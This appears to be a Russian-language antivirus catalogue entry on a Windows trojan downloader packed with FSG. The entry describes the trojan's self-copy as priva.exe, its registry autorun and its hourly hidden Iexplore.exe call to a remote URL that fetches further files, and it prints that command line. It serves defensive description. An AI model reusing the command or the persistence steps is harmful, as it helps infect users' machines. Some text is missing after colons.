Троянская программа, загружающая из интернета файлы без ведома пользователя.
Троянская программа, загружающая из интернета файлы без ведома пользователя. Является приложением Windows (PE EXE-файл). Написана на языке C++. Упакована FSG. Размер зараженного файла — 4745 байт. Размер распакованного — около 57 КБ.
При запуске троянец копирует себя в системный каталог Windows с именем priva.exe:
Затем регистрирует этот файл в ключе автозапуска системного реестра:
При каждой следующей загрузке Windows автоматически запустит файл-троянец.
name="doc3">Деструктивная активность |
В цикле с интервалом в один час программа запускает следующий процесс с невидимым главным окном :
Iexplore.exe – new http://badgirlspink.com/123.php
Также троянец имеет функцию загрузки из интернета других файлов и запуска их на компьютере пользователя.
Другие названия |